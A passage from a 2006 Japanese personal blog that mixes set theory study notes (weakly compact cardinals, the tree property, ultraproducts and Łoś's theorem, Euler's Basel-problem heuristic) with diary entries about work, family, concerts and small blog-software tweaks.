もう一つの理由として、雑記を読んで下さった方で、集合論や数学一般に対し興味を持って下さる方が一人でもいらっしゃればうれしいな、ということですが、これに関して成果が上がっているのどうかは分かりません。いやっ、もしかすると、いまさらやめたらすごくかっこわるいというのも大きな理由かも(笑)。最初は順序数と基数、Zornの補題くらいまでのつもりだったのですが。でも順序数を知らないおじさんが、土日勉強でそれなりに楽しめる程度の内容まで行けることを示せたのは良かったかも知れません。
それはともかくとしていつも気になるのは、定理の内容はともかく、証明をどこまで引用して良いのか、ということなのです。最初に書いたように本雑記の場合、やや表現を変えたり、補足説明を追加(内容をはしょることもある)している場合はあるものの、実質本の内容そのまんまの場合がほとんどで、ほんとに大丈夫なのかいな。
自分としてのいい訳は、「書いているときはノートは見るが本は見ていない (えーっと、それでも収拾がつかない場合ちょっと見るんですが)。少なくともそのときは分かったつもりの状態で書いている。」位しかないのがつらいところです。そもそも今書いている集合論雑記の内容など非常に初歩的であることは分かるのですが、三年前の自分にとっては夢のような進展であり、未知の定理に対してはもちろん、既知の定理に対しても、自分で証明を考えだすことは絶対に不可能です。
現実問題として、雑記程度の内容に関して、著作権がらみでつっこみが入ることはないと思いますし、気になるといいつつ、世の中の役に立つかは別として、とりたてて害になるとは思えない内容なので良いではないか、という気持ちがあることは確かです。あっ、現行の、特に学術関連書籍に対する著作権の仕組みについては、言いたいことが山ほどあるのですが、今回は言及しません。つか、この雑記のせいで Kunen や Jech 本の売れ行きが減ることは絶対にないのでは。むしろ運が良ければ、興味を持って下さる方が購入する確率の方が高いのでは。まあそこまで影響力があるとは思っていませんが。
歴史的に貴重な絶版本の著作権について考えていたら、全然関係ない内容になってしまいました。というわけで今後内容が難しくなるにつれ、ますますそのまんま証明が増えると思いますが、これは行き過ぎとかご意見がありましたら、どしどしつっこんで下さい。おそらく素直に従わないと思いますが(笑)。
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2006年10月5日(木)

あかん
風邪で熱でちゃった。そう言えば数日前モカちゃんが学校休んだ。今日はだめ。
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2006年10月4日(水)

今日から会社
四連休も終わり今日から出社です。連休は例のごとくだらだら過ごしてるうちに終わってしまいました。このページのコメント関連の改善を行ったのと、少しだけですが数学の勉強も進んだのでよしとしましょう。
余談ですが、奥さまに「どうも私の文章はだらだらしてる。もっと簡潔明瞭な文章が書けるようになりたい。」と言ったところ、「そもそもあなたは生活がだらだらしているのだから、文章だけ直そうとしても無理！！それが持ち味なのだから気にすることないじゃない。」と微妙なつっこみが返ってきました。うーむ、ほんとに良いのだろうか？さらに「こんな感じ」と日記を見せたら、ねこみみの件もばれてしまった(笑)。
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2006年10月2日(月)

弱コンパクト基数の基本性質(一回目)
集合論雑記目次
非可算基数 $\kappa$ が次の性質を満たす時弱コンパクトと呼びます。記号の定義に関しては 2006年8月5日今だ弱コンパクト基数おこもり中を参照して下さい。
$\kappa~\rightarrow~(\kappa)^{2}_{2}$
(定理)
弱コンパクト基数は到達不可能。
(証明) まず正則性。 $\kappa$ が正則でないと仮定すると、 $\lambda<\kappa$ と $\kappa$ の部分集合による分割 $(A_{\xi})_{\xi<\lambda}$ が存在し、すべての $\xi~<~\lambda$ に対し $|A_{\xi}|<\kappa.$ ここで関数 $f:\,[\kappa]^2~\rightarrow~2$ を「 $f(\{\alpha,\beta}\}~=~0~\text{~iff~}~~\exists{\xi<\lambda}(\alpha,\beta\in{A_{\xi}})$ 」により定義すると $f$ に対する homegeneous set $H$ で $|H|=\kappa$ なるものは存在しない。
次に強極限であること。 $\lambda~<~\kappa$ に対し $\kappa~\le~2^\lambda$ が成立したとする。 2006年8月13日分割の性質に関するメモの定理3により $2^\lambda~\not\rightarrow~(\lambda^+)^2_{2}$ が成立するので $\kappa~\not\rightarrow~(\kappa)^2_{2}\,.$
(定義木の性質) 基数 $\kappa$ が次の性質を持つとき、木の性質を持つという。
半順序集合 $T$ が次の性質を満たす木であるとする。
$\mathrm{ht}(T)=\kappa,\,~~\forall{\alpha<\kappa}(|\mathrm{Lev}_{\alpha}(T)|~<~\kappa)$
このとき枝(極大全順序部分集合) $B\subset{T}$ が存在し $|B|=\kappa$
木の基本的な用語に関しては 2004年8月19日木(tree)に関する諸定義を参照して下さい。
(定理弱コンパクト基数と木の性質)
(1) 弱コンパクト基数は木の性質を持つ
(2) 逆に $\kappa$ が到達不可能基数で木の性質を持てば、 $\gamma~<~\kappa$ に対し $\kappa~\rightarrow~(\kappa)^2_{\gamma}$ が成立する。特に $\kappa$ は弱コンパクト。
(証明)
(1) $\langle~T,~<_{T}~\rangle$ を仮定の条件を満たす木とすると、 $|T|=\kappa$ なので $T=\kappa$ と仮定して良い。 $T$ の半順序 $<_{T}$ に対し、全順序 $\prec$ を次のように定義する。
$\alpha,\beta\in{T}$ が $<_T$ に関し compatible な場合 $\alpha~\prec~\beta~\leftrightarrow~\alpha~<_T~\beta\,.$
$\alpha,\beta$ が $<_T$ に関し incompatible な場合 $\alpha,\beta$ の「分岐点」を $\xi$ とし $\xi$ から伸びる $\alpha,\beta$ 方面への枝の $\xi$ を要素としない最小元をそれぞれ $\alpha_\xi,\beta_\xi$ とするとき $\alpha~\prec~\beta~\leftrightarrow~\alpha_\xi<\beta_\xi\,.$
今 $f:\,[\kappa]^2~\rightarrow~2$ を「 $f(\{\alpha,\beta\})~=~0~\text{~iff~}~\alpha\prec\beta$ と $\alpha~<~\beta$ が両立する」という条件で定義すると、 $\kappa$ が弱コンパクトであることにより $H\subset{\kappa},~\,~|H|=\kappa$ が存在し $f$ は $[H]^2$ 上で定値。さらに $x\in{T}$ に対し $A_x~=~\{\alpha\in{H}~\,:\,~x~<_T~\alpha\}$ とおき $B=\{x\in{T}~\,:\,~|A_{x}|=\kappa~\}$ とします。このとき明らかに $B\cap~\mathrm{Lev}_\alpha(T)~\neq~\emptyset~\text{~for~all~}~\alpha<\kappa$ が成り立つので $|B|=\kappa\,.$ 従って $B$ が鎖であることを示せば証明完了となります。そこで $x,y\in{B}$ を $<_{T}$ に関し incompatible であり、例えば $x~\prec~y$ を満たすと仮定します。このとき $|A_x|=|A_y|=\kappa$ なので $H$ の要素 $\alpha~<~\beta~<~\gamma$ で $x~<_{T}~\alpha,~\,~y~<_{T}~\beta,~\,~x~<_{T}~\gamma$ なるものが存在しますが、この場合 $\alpha~\prec~\beta,\,~\gamma\prec\beta$ が成り立ち $H$ の等質性に矛盾します。
(2) については $\gamma=2$ の場合を証明する。一般の場合も同様である。 $\kappa$ が (2) の仮定を満たすとし、 $h:\,[\kappa]^2~\rightarrow~2$ を関数とする。 $\alpha<\kappa$ に対し $\alpha$ の部分集合 ( $\alpha$ もしくは $\alpha$ の切片となる)から $\kappa$ への関数の列 $(f_\alpha)_{\alpha<\kappa}$ を次のように定義する。
$\xi<\alpha$ に対し $f_{\alpha}\uparrow\xi$ が定義されていると仮定します(↑は関数の部分集合への制限)。 $\beta<\alpha$ で $f_\beta~=~f_{\alpha}\uparrow\xi$ なるものが存在しない場合、 $f_\alpha$ の構成は終了。そうでない場合 $f_\alpha(\xi)~=~h(\{\alpha,\beta\})\,.$
最初の方を具体的に書いてみる。
$f_0~=~\emptyset$
$f_1(0)~=~0~\quad~\text{iff~}~h(\{0,1\})=0$
$f_1(0)~=~1~\quad~\text{iff~}~h(\{0,1\})=1$
$f_2(0)~=~0~\quad~\text{iff~}~h(\{0,2\})=0$
$f_2(0)~=~1~\quad~\text{iff~}~h(\{0,2\})=1$
ここですでに構成が完了した $f_1(0)$ と $f_2(0)$ の値が一致しない場合 $f_2$ の構成はここで完了である。そうでない場合 $f_2$ は $f_1$ の拡張となり
$f_2(1)~=~0~\quad~\text{iff~}~h(\{1,2\})=0$
$f_2(1)~=~1~\quad~\text{iff~}~h(\{1,2\})=1$
$f_3$ に関しては場合分けが多くなるので、直感的に述べる。 $f_3(0)~=~0~\quad~\text{iff~}~h(\{0,3\})=0$
$f_3(0)~=~1~\quad~\text{iff~}~h(\{0,3\})=1$
例えば $f_1(0)=f_2(0)~,~\,~f_3(0)~\neq~f_1(0)~(=f_2(0))$ の場合はここで終了。そうでない場合
$f_3(1)~=~0~\quad~\text{iff~}~h(\{1,3\})=0$
$f_3(1)~=~1~\quad~\text{iff~}~h(\{1,3\})=1$
もし $f_2(1)~\neq~f_3(1)$ の場合ここで終了。そうでない場合
$f_3(2)~=~0~\quad~\text{iff~}~h(\{2,3\})=0$
$f_3(2)~=~1~\quad~\text{iff~}~h(\{2,3\})=1$
$f_1(0)~\neq~f_2(0)$ の場合 $f_3(0)$ は上のいずれかに一致する。さらにこの場合 $f_2(1)$ は定義されていないはずである。例えば $f_3(0)~=~f_2(0)$ の場合
$f_3(1)~=~0~\quad~\text{iff~}~h(\{2,3\})=0$
$f_3(1)~=~1~\quad~\text{iff~}~h(\{2,3\})=1$
$f_3(0)~=~f_1(0)$ の場合
$f_3(1)~=~0~\quad~\text{iff~}~h(\{1,3\})=0$
$f_3(1)~=~1~\quad~\text{iff~}~h(\{1,3\})=1$
この場合 $f_3(2)$ は定義されない。
という案配に進行するのです。木 $T$ を $\langle~\{f_\alpha\,:\,\alpha<\kappa\},\,\subset~\rangle$ により定義します。 $|T|=\kappa$ です。 $T$ の各レヴェル $\mathrm{Lev}_\alpha(T)$ は $\alpha$ 定義域とする 2 への関数からなり $\kappa$ が強極限であるので $|\mathrm{Lev}_\alpha(T)|<\kappa\,.$ 従ってこんどは $\kappa$ の正則性により $\mathrm{ht}(T)=\kappa\,.$ よって $T$ の枝 $B\subset{T}$ が存在し $|B|=\kappa\,.$ $H_0=\{\alpha<\kappa~\,:\,~f_\alpha~\in~B~\wedge~f_\alpha^\frown{0}\in{B}\},\,~H_1=\{\alpha<\kappa~\,:\,~f_\alpha~\in~B~\wedge~f_\alpha^\frown{1}\in{B}\}$ とおくと、 $H_0~\cup~H_1~=~B$ であり $h$ に関しいずれも等質。さらに少なくとも片方の基数は $\kappa$ に等しい。
最後に可測基数が弱コンパクトであること。
(定理)
可測基数は弱コンパクト
(証明) $\kappa$ を可測基数とし $\langle~T,~<~\rangle$ を $\mathrm{ht}(T)=\kappa,~\forall{\alpha<\kappa}(|\mathrm{Lev}_\alpha(T)|<\kappa)$ を満たす木とします。このとき $|T|=\kappa$ なので $T$ 上に nonprincipal $\kappa$ -complete ultrafilter $U$ が存在します。ここで $A_x~=~\{y\in{T}\,:\,~x<y\}$ とし $B=\{x\in{T}\,:\,~A_x\in~U\}$ とすると $B$ は鎖である。また $B\cap~\mathrm{Lev}_\alpha(T)~=~\emptyset$ と仮定すると。 $\mathrm{ht}(x)=\alpha$ なる $x\in{T}$ に対し $A_{x}=\{y\in{T}\,:\,x<y\}\notin~U\,.$ このような $x$ は $\kappa$ より小さい個数しか存在しないので、合併 $A=\{y\in{T}~\,:\,~\exists{x\in{T}}(\mathrm{ht}(x)=\alpha~\wedge~x<y)\}$ も $U$ の要素とならないが $|T-A|<\kappa$ なので矛盾。
本日の記述は Thomas J. Jech 著 Set Theory の内容をほとんどコピーです。ほとんど役に立たない絵と、少々の補足と具体例を記載したのでご勘弁の程を。
(関連項目)
2006年8月5日今だ弱コンパクト基数おこもり中
 2006年8月13日分割の性質に関するメモ
 2004年8月19日木(tree)に関する諸定義
 2005年1月9日測度と可測基数
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2006年10月1日(日)

コメントインライン化
昨日のコメントで Javascript での概要表示(下のコメント欄)がキャッシュに残りやすく、更新されたのが分かりにくいという話題となりましいた。さらに Javascript での表示ですと、ブラウザによっては表示されない場合もあるようです。そこで Javascriot の元となるソースファイル、例えば 20061001-1.js を解析して、概要をインラインで表示するように変更しました。
実装方法は昨日と全く同様です。日付の部分から記事IDを推測し、それに対応する js ファイルを開き、PHP にパイプで流し込み、もとソースの行頭に _COMMENT (この文字列を本文でソースの行頭に書くとまずい) と書かれている部分を置換するのです。昨日よりもっとアドホック(笑)。
今まで毎日記事IDに注意しながら BBS へのリンクと Javascirpt ソースの実行指示を記述していたのですが、その点に関し自分がとても楽になったのもうれしいのです。
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2006年9月30日(土)

最近のコメント追加
コメントを開始したときは、誰も書いて下さらないのでは、と危惧してたのですが、まことにありがたいことに、そのようなこともなかったようで、とても感謝しております。ところで、運用していて一つ問題だと思ったのは、古め (といっても二三日前)の記事へのコメントを頂いたことが、私以外の方に分かりにくいということです。
そこで上の方に最新五つのコメントの記事の日付と、投稿して下さった方のお名前を表示することにしました。誠に申しわけございませんが、「かがみ」の場合のみの例外処理が面倒だったので(殴)、敬称は略させて頂きました。リンクをクリックすると該当記事の先頭へジャンプします。
実装は、 BBS のログファイルから該当のコメントを推測するシェルを作り、その出力をこの日記を表示している PHP へパイプで入力しているのです。余りにてぬきなのと、汎用性に欠けるということで、公開しても意味がなさそうですので、ここへの記載はしないほうが無難かと(笑)。
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2006年9月29日(金)

地震計
デモ版ほぼ完成。震度七出そうとして強めに揺すったら壊れた。だめじゃん(笑)。
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2006年9月28日(木)

鴨南蛮よたび
今日は石川県から N さんが出張してきたので、お昼に N さん、S さん、H さんと鴨南蛮を食べたのです。お仕事の方ですが、今週の土日は休めそうです。といいますか、ついでに月曜日もお休みです。今まで作ったのを、営業さんが顧客先に持ってく日なので、私がいても役に立ちません。来月もかなりハードなスケデュールなのですが、一度きちんと休養するということで。

H さんのサラリー麺 N さんの鴨汁

S さんと私の鴨南蛮

(関連項目) 鴨南蛮みたび
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2006年9月27日(水)

ご家族さまPC起動せず
二女が私のところに来て、「パパー、パソコンが起動しなくなっちゃった～。」と言うのです。どれどれと見にゆくと、確かに Epson のロゴが出ているところで固まっています。電源を入れ直しても同様で、さらにBIOSにも入れません。「あやや！壊れてしまった？困ったな。どんどん MacBook Pro を買う時期が遅くなるじゃん(笑)」なんて考えながら、とにもかくにも修復作業の開始です。ちなみに今のが壊れてしまったら、ご家族さまの意向は無視し、こちらを買う予定ですので、それなりの予算が必要なのです。
まず一番怪しいのは先日購入した外付け USB ハードディスクです。これには案外便利な機構がついていまして、単に繋いでおけば、PC の電源に連動して、自動的に本体の主電源が入り切りするのです。こうした機能は便利ですが、経験的にとても怪しいのです。そこで、外付けディスクの主電源を落とした状態で PC の電源を入れたところ、これがめずらしく大当たり。一発で起動しました。
後は外付けのディスクが壊れていないかの検査ですが、上記の状態で電源を入れたところ、特に問題なく認識されました。念のためディスクの検査も行ったのですが、エラーは報告されません。一安心です。一度 PC の電源を落とし、外付けディスク主電源 ON の状態での起動も問題なし。微弱とはいえ、長期間電源を入れっぱなしだったので、内部のファームウエアーが暴走するなりして、 USB バスに不正な信号を出力していたと推測されます。
思ったよりあっさり修復でき、こういうときだけの父親の威厳を保った訳ですが、居間に iMac があるとかっこいいな、と言う野望が破れ、やや残念だったのはぜったいに内緒なのです(^^。
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2006年9月26日(火)

おいらトンデモ
今、朝の四時ですが、さすがに仕事はもうだめということで、知る人ぞ知るオイラー大先生のトンデモ証明です。
$\sum_{n=1}^\infty{\frac{1}{n^2}}~=~\frac{\pi^2}{6}\quad(0)$
(トンデモ証明) まず $\sin{x}$ の原点中心でのテイラー展開を考えます。収束半径は無限大ですが、オイラーはそういうこと余り気にしなかったかも。
$\sin{x}~=~x~-~\frac{x^3}{3!}~+~\frac{x^5}{5!}~-~\frac{x^7}{7!}~+~\cdots=0~\quad(1)$
$x$ のかわりに $\sqrt{x}$ を代入すると、定義域は $x\ge{0}$ となり(今は虚数のことを考えるゆとりなし)
$\sin{\sqrt{x}}~=~\sqrt{x}~-~\frac{\sqrt{x}^3}{3!}~+~\frac{\sqrt{x}^5}{5!}~-~\frac{\sqrt{x}^7}{7!}~+~\cdots=0~\quad(2)$
$\sin~\sqrt{x}$ の零点を考えることにより、上式の「解」は $0,~\,\pi^2,\,~(2\pi)^2,\,~(3\pi)^2,\cdots$ となります。ところで (2) の右辺の $\sqrt{x}$ をくくりだすと
$\sin{\sqrt{x}}~=~\sqrt{x}(1~-~\frac{x}{3!}~+~\frac{x^2}{5!}~-~\frac{x^3}{7!}~+~\cdots)\quad(3)$
という感じになり、解 0 を除去することができます。つまり
$1~-~\frac{x}{3!}~+~\frac{x^2}{5!}~-~\frac{x^3}{7!}~+~\cdots~=~0\quad(4)$
の「解」が $\pi^2,\,(2\pi)^2,\,~~(3\pi)^2,\cdots$ になるということです。ところで三次方程式 $a_0~+~a_1~x~+~a_2~x^2~+~a_3~x^3~=~0$ の例とかで考えると、解の逆数の和は $-a_1/a_0$ となります。無理矢理 (4) にあてはめると、ほら！
$\frac{1}{\pi^2}~+~\frac{1}{(2\pi)^2}~+~\frac{1}{(3\pi)^2}~+~\cdots~=~~\frac{1}{3!}$
従って (0) が成立する感じがするわけです。さすがに十八世紀の頃とはいえ、この「証明」に対する批判は大きかったらしいのです。ただし、最初の方の和を求めれば、「正しいことはまず間違いない」であろうし、(0) の左辺の値を初めて求めたということで、この「証明」が無価値であるなどということはあり得ません。
オイラーはガウスと並ぶ歴史上最大の数学者であり、私が冗談にしてもトンデモなどと書くのは、大変な無礼であります。ねたということでご容赦の程を。というか上の「証明」のアイディアは案外好きです。
つか、これってほとんどの人が知ってるのだろうか？
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2006年9月25日(月)

会社に泊まり
またまたデバッグで帰りそびれ。すまぬ！一行ねたばかりで。てゆうか一日寝たい。
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2006年9月24日(日)

超べき追加
9月10日の超積、超べきとLośの定理に超べきの場合も追加。
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2006年9月23日(土)

おやじ
うーん、この習慣は互いに蘊蓄を傾け合っているとしか思えません。
すみませんばかで。
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2006年9月22日(金)

猫耳集会
行ってきました！猫森集会。今日は「アタゴオルは猫の森」の作者の、ますむらひろしさんがゲストということで、お題目は「猫の日」。浩子さんもしっぽと耳つき猫衣装で登場です。私はこのプログラムの一回目に行かなかったので、うわさにしか聞いてなかったのですが、非常なる反響を呼んだそうです。というわけで、本日は猫耳を大量に準備してきた人がおられまして、浩子さんの所から目立つ席の人に配りまくっていたのです。女性ですとなかなか似合います。若い男の人がつけても似合います。でも私がつけると単なるお笑いです。
なのでつけることにしました(笑)。
ちなみに本日の席はうれしいことに、浩子さんから見て正面二番目の2列13 。はい！コンサートの間ずっとつけていましいた。どうも浩子さんのファンにも良識派とイロモノ派が混在しているようで、女性はともかく、男でつけていた人は例外なくイロモノ派である思われます。
仕事で大分疲れてはいるのですが、一気に発散してきました。こういうときの「銀河通信」はとても良いものです。最後になりましたが、今日は色々な方にお世話になりました。どうもありがとうございます。明日からまた現実の世界へ戻ります。
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2006年9月21日(木)

猫森集会
今年は色々な事情で、四年連続通い続けた谷山浩子さんの八連ちゃんコンサート、猫森集会には参加しない予定だったのですが、急に行きたくて仕方がなくなりました。うれしいことに明日のチケットを譲って下さる方がおられまして、仕事はあるのですが、休日扱いとし、夕方から新宿へ出陣です(^^。
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定期をなくす
今朝藤沢駅の改札で、お財布から定期を出そうとしたら行方不明なのです。定期というものは、一度お財布の中に入れたら、改札以外で取り出すことはありえないので、なくしてしまったに違いありません。これには参りました。いや！今日電車に乗る分にはたいしたことないのですが、六ヶ月定期で二ヶ月半しか使っていないのです。私の六ヶ月分の定期代は105,630円なので、六万円以上の損失です。
でも改札でなくしたのならば、落とし物として駅に届いている可能性もあります。
というわけで小田急藤沢駅の落とし物のところに行ったところ、うれしいことに親切な方が届けて下さったそうで、ほんとに助かりました。おそらく昨日の朝帰りで意識もうろうとして取り忘れたのか、それとも詰まってしまったのかどちらかなのでしょう。実は同様の事故は二回目(前回も回収できました)なので今後十分注意する必要がありそうです。
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2006年9月20日(水)

徹夜しています
昨日は普通に帰る予定だったのですが、なんと夕方の五時頃、委託先のハード屋さんが突然来られて、いくつか懸案となっている件のデバッグが始まったのです。ご存知のようにこの世界でデバッグが始まると時間がが止まります。
気がついたら十時過ぎでした。もう帰れないじゃん！！
というわけでまだ会社にいたりします。ハードの件は、私のソフトが悪いのかも知れませんが、いまいち動きが不穏なので、一度持ち帰って頂き別件の細々した仕事してます。さすがに今日一日は持たないので、朝になったら帰宅します。一度リフレッシュです。その方がトータルとして良いでしょう。
ところで今作っている機材は、地震が発生すると震度を表示するとともに、色々な情報を内蔵プリンターへ出力するのです。この内蔵プリンターには事前にコンビニのレジに入ってるみたいな専用の巻き紙を装備しておくのです。巻き紙の形状はあれですよあれ！小さいながらもトイレの紙と同じです。
考えてみると、これを各家庭のトイレに常備するのは非常に良いアイディアだと思うのです。そもそもトイレで用を足している時地震が発生すると非常にあせります。なので、パンツを下げた状態であわてて外へ飛び出す危険性が高いのです。その場合非常に恥ずかしい思いをするとともに、近くにおまわりさんがいたりすると、逮捕されてしまう可能性さえあるのです。ところがこの名作地震計をちょっと改造して、「パンツ注意」とか表示するようにすれば、上記のような不都合を避けることができる可能性が高いのです。さらにですよ、さらに！！万が一例のもの(*1)が切れてしまった場合、少々小さいのが難点ですが、プリンターの巻き紙を流用出来るのです。
これは素晴らしい。各家庭に一個として一千万台以上売れるではないか。私の勤めてる会社も一気に松下やソニー並みの大会社です。でもどうして営業に話をしても相手にしてくれないのだろう。というかすごく迷惑そうなのです。「ただでさえ忙しいのにつまんないこと言ってないで仕事しろ。」という感じ。せっかく儲かる話をしているのに。周囲の無理解ががつらいのです。
(*1) お尻ではなく紙ね。
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2006年9月19日(火)

おうちに帰る
昨日は久々におうちに帰りました。やはり奥さま手作りのごはんはおいしいです。そうそう、藤沢駅に着いてバスを待っていたら、やけに可愛い女の子に声をかけられたのです。一瞬誰だか分からなかったのですが、よくよく見たら二女でした(笑)。毎日見慣れた顔なんですが、外で突然会うと案外分からないもので。部活の帰りに鎌倉で食べ道楽してきたそうです。今はちと疲れがたまっている状況なのですが、笑顔の子供と会うのはなかなか良いものです。
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2006年9月17日(日)

会社に住むということ
いやはやほんとに忙しいこと。さすがに三連休出勤で二時間以上かけて通勤するのもしんどいのと、それ以上に時間がもったいないので、会社近くのホテルに泊まりです。確かに通勤は楽なのですが、コンビニ弁当も飽きてしまい、ちっとも快適ではないのです(笑)。
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2006年9月16日(土)

400字詰3300枚
Y.Kumagaiさんのところで、運営ノートの容量が 1メガバイト超になられたとのこと。原稿用紙換算で 1300枚なのだそうです。
面白そうなので私も調べてみました。日記は 200[0-9][0-9][0-9].html なるパターンで調べれば良いので、下記のコマンドの実行です。
```
$ cat 200[0-9][0-9][0-9].html | wc -c
2692455
```
なんとびっくりもうすぐ 2.7メガバイトです(笑)。原稿用紙換算ですと 2692455/800 = 3365 枚。いやはや４年半で随分と書いたもので、自分でもちょっとびっくりです。計算上一日あたり大体二枚となりますが、実際にはHTML 制御文字や mimeTeX も容量に貢献しているので、実質一日一枚半程度でしょうか。
だらだらした文章を書くのが、みずぶくれとなる最大の原因と思われます。さらに、下のコメントへのリンク等が手書きであることも容量を増加させる大きな原因です。極力簡潔な文章を心がけたいものです。
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2006年9月15日(金)

iTunes 7
数日前にヴァージョンアップされた iTunes 7 ですが、実用性はともかく Cover Flow なる新規インターフェースにはびっくりです。要は右の写真のごとく CD っぽい画像が表示され、しらたまちゃんのくるくるボタンで三次元的に回転するのです。メリーゴランドを正面から眺めている感じでしょうか。ちなみに写っているのは、ホロヴィッツが驚嘆したという、アルゲリッチ 20歳の頃のデビューアルバムで、超人的なテクニックと若々しい感性が融合した素晴らしい演奏です。プロコフィエフの演奏なんて人間業とは思えません。
話が脱線しますが、アルゲリッチはロマン派以降の楽曲の演奏が有名ですし、評価も高いと思います。ただし、数は多くありませんがベートーヴェンの演奏 (比較的手に入りやすいのはコンチェルト 1,2,3番、作品10の3のソナタ)が、古典的な様式感と絶妙なタッチ、それからアルゲリッチらしい感性が好きで、割と聴くことが多いのです。グルダ師匠の影響があることは間違いありません。バックハウスも少し混じっているかも。
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だめだめ三連休
もしかして明日から世の中は三連休なのでしょうか。なのに土日月も行かなくては＞会社。仕事するのは仕方がないのですが、その間勉強出来ないのが痛い。実は夏休みもまだなのです。十月か十一月にまとめて休む予定です。
9月10日のコメントで推移的閉包なんてまぬけなことを書きましたが、推移的崩壊の誤りでした。こっそり直しておきました。
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2006年9月13日(水)

お仕事
今月中はかなり忙しそう。集合論の勉強の方も余り出来ないかも知れません。新しい知識を得ることが出来ないのも残念なのですが、さらに困るのはどんどん忘れて行くこと。というか基本的な部分の直感をつけて、早く forcing の勉強に戻りたい。 $\aleph_2$ との関連で proper forcing の方に興味が向いてたりします。
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2006年9月12日(火)

ぷち変更
くっつきBBSの「くっつき」部分は Javascript で表示しているのですが、どなたかに書き込んで頂くまでは、例えば本日の例で言いますと ./bbs/kblog/20060912-1.js というファイルは存在しないのです。
これで特に支障がないかと思っていましたが、ブラウザによっては「ファイルがありません」と怒りをあらわにするものが存在するらしいのです。
せっかく来て下さったお客様が怒られるのは大変困った事態です。
アップロード時に自動的に 0 バイトの該当 js ファイルを作っておけば良いのですが、おうちの運用ですと、ファイルの所有者を www にする必要があり自動では難しいのです。そこで、一日の最大の記事数は 3 つまでという仮定で、えいや！と一年分の 0 バイトファイルを作りました(笑)。通常は一日一つの記事しか書かないのですが、念のため。もともとおうちの日記は元のテキストファイルを PHP にて整形しているので、Javascript を使用しないインライン表示も可能と思われますが、例のごとく面倒なのが難点です。
それからもひとつ。たかたにさんのまねをして、ページの先頭に私のメールアドレスをそのまま記載することにしました。コメント欄は従来通り、入力して頂いたメールアドレスは表示されません。
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2006年9月11日(月)

バラのお茶

右の写真は会社の H さんにもらったお茶です。中国産らしいのですが、購入したのは山形県のようです。写真を大きくするとお分かりのように、ちゃんと「バラ」と書いてあります。
ところで H さんのおみやげといいますと、いもむしとか、さらにその輪切りとかいつもねたを提供して下さるのです。ただし残念なことに右の写真のごとく、今日のは特に面白くもなんともありません。
話は変わりますが、本日記の最大の特徴が、その品位、格調の高さ、高尚さであることは言うまでもありません。なのでおみやげの表がこんな風になっているなんて、ぜったいぜったいに披露することはできないのです(^^。

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2006年9月10日(日)

超積、超べきとLośの定理
集合論雑記目次
超積、超べきの定義とLośの定理(*1)は余りに簡単すぎるせいなのか、ネット上での日本語できちんと証明された記述を知りません。そこで集合論雑記で定義と証明を書いておくもの少しは意味があるかと。ストーリーとしては、本雑記で可測基数の下に大量の弱コンパクト基数(従って到達不可能基数)が存在することに関する証明の始まりです。しばらくの間、弱コンパクト基数に関する分割の性質、木の性質、無限論理との関連を含めて記載する予定。 (超積)
$\kappa$ を基数(基数ではなく普通の集合でも良い)とします。 $U$ をその上の超フィルターとし、 $(M_\alpha)_{\alpha<\kappa}$ を集合論のモデル列とします(*2)。このとき積クラス $M=\mathrm{\Pi}_{\alpha<\kappa}{M_\alpha}$ 上の同値関係 $\sim$ を ${f}\sim{g}~\leftrightarrow~\{\alpha<\kappa\,:\,f(\alpha)~=~g(\alpha)~\}\in{U}$ で定義します。この条件が成立する時 $f,~g$ はほとんど至る所で等しい、と言う場合があります。 $M$ の $\sim$ による商クラスを $M/U$ と書き $(M_\alpha)_{\alpha<\kappa}$ の $U$ による超積と呼びます。実際には $M$ が集合とは限らないので、単純に同値な要素を全部集めた「同値類」全体は考えられないのですが、 $f\in{M}$ の「同値類」として、
$[f]=~\{g\in{M}~\,:\,~({g}\sim{f})~\wedge~\forall{h\in{M}}(h\sim{g}~\rightarrow~\mathrm{rank}(g)\le\mathrm{rank}(h))\}$
を考えれば良いのです(*3)。
今、 $[f],[g]~\in~M/U$ に対し $[f]\varepsilon[g]$ を次のように定義します(*4)。
$[f]\varepsilon[g]~\leftrightarrow~\{\alpha<\kappa\,:\,~M_{\alpha}|=f(\alpha)\in~g(\alpha)\}\in{U}$
この定義は商クラスの上で(フィルターの有限個の要素の共通部分がまたフィルターの要素となるので) well defined です。
(Lośの定理)
$\varphi(x_{1},x_{2},\cdots,x_{n})$ をすべての自由変数が明示された集合論の言語に属する論理式とする。このとき次の事実が成立する。
$M/U~|=~\varphi([f_1],[f_2],\cdots,[f_n])~\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\varphi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))\}\in{U}$
特に $\varphi$ が自由変数を持たない場合
$M/U~|=~\varphi~\leftrightarrow~\{\alpha<\kappa~\,:\,~M_\alpha|=\varphi\}\in{U}$
証明は très facille(合っているのか？) です。まずがの場合は定義そのものです。がの場合
$M/U~|=~\varphi([f_1],[f_2],\cdots,[f_n])~$ $\leftrightarrow~M/U~|=~\chi([f_1],[f_2],\cdots,[f_n])~\,\wedge\,~\psi([f_1],[f_2],\cdots,[f_n])$
$\leftrightarrow~M/U~|=~\chi([f_1],[f_2],\cdots,[f_n])~\,\wedge\,~M/U~|=~\psi([f_1],[f_2],\cdots,[f_n])$
$\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\chi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))~\}\in{U}$
$\,\,\,\,\,\,~\,\wedge\,~\{\alpha<\kappa~\,:\,~~M_\alpha|=\psi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))~\}\in{U}$
$\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\chi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))~\wedge~\psi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))~\}\in{U}~\,\,\,(\ast)$
$\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\varphi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))~\}$
(*)のところでフィルターの共通部分に関する性質を使いました。がの場合も簡単です。
$M/U~|=~\varphi([f_1],[f_2],\cdots,[f_n])~$
$\leftrightarrow~M/U~|=~\neg\chi([f_1],[f_2],\cdots,[f_n])~$
$\leftrightarrow~\text{not~}M/U~|=~\chi([f_1],[f_2],\cdots,[f_n])~$
$\leftrightarrow~\{\alpha<\kappa~\,:\,~~M_\alpha|=\chi(f_{1}(\alpha),f_{2}(\alpha),\cdots,f_{n}(\alpha))\}\notin{U}$
